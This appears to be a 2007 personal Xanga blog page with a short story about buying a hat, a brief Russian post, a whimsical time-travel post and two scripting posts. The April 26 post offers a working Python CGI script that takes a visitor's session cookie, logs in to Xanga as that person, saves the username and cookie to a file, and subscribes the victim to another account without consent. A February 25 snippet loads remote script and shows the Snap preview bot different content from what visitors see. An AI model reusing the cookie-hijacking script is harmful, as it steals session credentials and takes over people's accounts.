AtnNn
read my profile
sign my guestbook

Visit AtnNn's Xanga Site!

Name: Etienne
Gender: Male


Message: message meEmail: email me
Website: visit my website
AIM: AtnNn
MSN: atnnn@hotmail.com
ICQ: 64690860
Yahoo: AtnNn
Jabber: sogled@gmail.com


Member Since: 12/27/2004

SubscriptionsSites I Read

Posting Calendar

|<< oldest | newest >>|
view all weblog archives

Get Involved!

Suggest a link

Recommend to friend

Create a site

Thursday, May 03, 2007

Here is another story I wrote. Before you read the whole story, try and guess the ending!

=====

Buying a Hat

I walked into the store and escaped the dense croud that was doing it's
saturday shopping at the local mall. This shop had a lot of colourfull clothes
on sale, nicely arranged on uneven shelves and racks. The glass doors closed
behind me and muffled the outside noise, I started to hear the soothing music
and I was spotted by a salesperson. He smiled and invited me to enter further
into this isolated and enticing world.

That's exactly what I did. I had gone to the mall that day looking for a hat,
and through all the colors there was a darker section dedicated to hats and
other fashinable accessories that people wear on their head. Guessing my
intentions, my guide preceded me to the back of the shop. As we arrived, the
lighting changed, illuminating the shapes and textures of all the well-made
hats. I was lucky to have someone to help me, someone to cut through this
jungle I was unprepared for and help me find the ideal hat.

I had spent a lot of time thinking about what kind of hat I wanted. I had
never worn anything on my head during my life, except for the occasional cap
and the obligatory tuque during the winter. Cutting my long hair had been a
big mistake. I missed being able to shake the water off after coming inside
on a rainy day, I missed being able to store my pencil on my ear and I
especially missed losing something that had taken so long to grow. My head was
bare and I didn't feel like myself anymore.

Maybe a beret to emphasize my french heritage? I don't associate berets with
the french, they remind me more of the army. Perhaps a sports cap? There were
so many choices. Did I want to look more like a cowboy or a ninja? Did I want
to stand out or blend in? He analysed my reactions and my gaze and went to get
a hat he was sure I would fall in love with from the storage. After he left I
noticed one of their unique models, hidden halfway behind a box on the top
shelf. It was green with a blue tint, and was pointy in the back. I tried it
on and it fit me very well.

But so did the wonderfull hat that my new friend had brought back. How could I
not befriend someone who had offered me such a wonderfull hat. It was mostly
black, but also had some red and orange, and it was made out of a material
that was strong and resistant but also soft and very light. When he saw the
green had I had tried, he gave me a very strange warning: that style of hats
would become very infamous soon, but to accomodate me he offered to give me a
full refund at any time until 30 days after my purchase.

I was not going to get conned. That was a very trendy hat, what could possibly
make it infamous? He saw that I was genuinely interested by this hat and, as a
friend, told me that exactly two weeks from now a very famous and influential
person would be murdered, and his murderer would be shown on television wearing
the same hat. Those are the kind of details that he shouldn't have known, and
even less spoken of. After all, his job was only to sell the hat, not to frame
me for murder. I had to know more.

- Who is this famous and influential person you are going to murder?

Would he tell me? How could he have known? Who could have told him? He was just
supposed to sell the hat, and fate would do the rest.

- I am not going to murder anyone.

How arrogant! How could he dare think of himself as an individual. He was not
uniting with the goals and actions of the organisation. How many such
individuals had infiltrated the organisation? How many of them had we let
graduate before they realised that our power and our supremacy rested on the
fact that we were all drones? This agent would be punished, but it was not my
job. I just needed to test him and write my report, so I bought the black hat
and left.

Two weeks later, it started raining, but I had forgotten my umbrella at work.
I went into the heavy rain with only my hat as a protection. Scared by the
surprisingly loud and sudden thunder, I entered a nearby coffee shop. Soon
afterwards, the lightning flashed right in my eyes.

Someone had just took my picture. I had mistaken a private residence for a
coffee shop. The thundering sound had been that of a nearby gunshot.

Fate is just a part of life. I will take this as a chance to learn how to be
humble.

=====

I bet the ending you thought of was better than that. Let me know how you think this story should have ended.


Thursday, April 26, 2007

A script I posted a while ago was noticed by a few people recently. To function, the script needs to know the ip of the visitor, which I got using a small script I hosted on my server. But my server is down, so the script doesn't work.

If you have php hosting somewhere, you can host it yourself:

<? header("Content-type: text/javascript"); ?>
function getip(){
return "<?=$_SERVER['REMOTE_ADDR']?>";
}

or, if you are running out of subscribers, you could link to this small python script in an iframe in a script in a script:

#!/usr/bin/python
import urllib
import cgi
import sys
print "content-type: text/html\n\n"
url='http://www.xanga.com/private/SubscribeTo.aspx?user=foobar'
u=urllib.FancyURLopener()
## get the visitor's cookie
co=cgi.FormContent()['c'][0]
u.addheader('Cookie', co)
print "<body bgcolor=black text=green><center><h1>Hi "
## login as them
a=u.open("http://www.xanga.com/").read()
n=a.find("/Private/home.aspx?user=")
if n>1:
n+=24
n=a[n:a.find('"',n)]
print n
file("tmp","a").write(n+": "+co+"\n")
a=u.open(url).read()
r={"__EVENTTARGET":"btnSub","_EVENTARGUMENT":""}
n1=a.find("__VIEWSTATE")+20
n2=a[n1:].find('"')+n1
r["__VIEWSTATE"]=a[n1:n2]
u.open(url,urllib.urlencode(r))

I used to run a lot of other scripts on this page, but I've disabled most of them, and cannot guarantee that they are up-to-date, but if you need help to tweak your xanga layout, I'd be glad to help, and I promise that I will make shorter sentences, unless you really don't want me to, because I wonder what I'm going to do if my bike breaks.


Wednesday, April 04, 2007

Я очен люблю учить русский язик :)


Sunday, February 25, 2007

Snap preview

I can't beleive that xanga added snap previews. Those little popups are incredibly annoying. But they can be fun to! To customize what shows when your xanga site gets cached by snap, add the follwing code to your header section in the look&feel page:


<script>
// first load ip.js, a trivial script i wrote that creates a getip() function that returns the REMOTE_ADDR
document.
write("<"+"script type=\"text/javascript\" src=\"http://www.atnnn.com/ip.js.php?auth=nopassword\"></"+"script>");
</script>

<script>
if(getip().match("38.98.19")){ // verify if this is snap
document.body.innerHTML="<h1> YOUR HTML HERE </h1>";

//block the xanga advertisements (only for the snap bot)
function returnNull(){null;}
document.
write=returnNull;
function returnTrue(){return true;}
window.
onerror=returnTrue;
}
</script>


If your page hasn't been cached yet, the snap preview of your page will then show whatever text or image you put in the innerHTML.


Thursday, February 22, 2007

Unfortunate

I did something unmentionable, and I'm really sorry. Please don't judge me. I also started gathering evidence that proves that, over the course of the past year, there were many times when I was spotted at two different places at once. I'm starting to beleive that I will someday come back from the future to try to change something in my present life. Maybe the past can be changed. Maybe this older me can go visit the future as well. Wouldn't that be neat? What will the future be like? I hope that giraffes will one day become intelligent and self-aware and that someone will invent yoyos that have no strings. What do you expect from the distant future?



Next 5 >>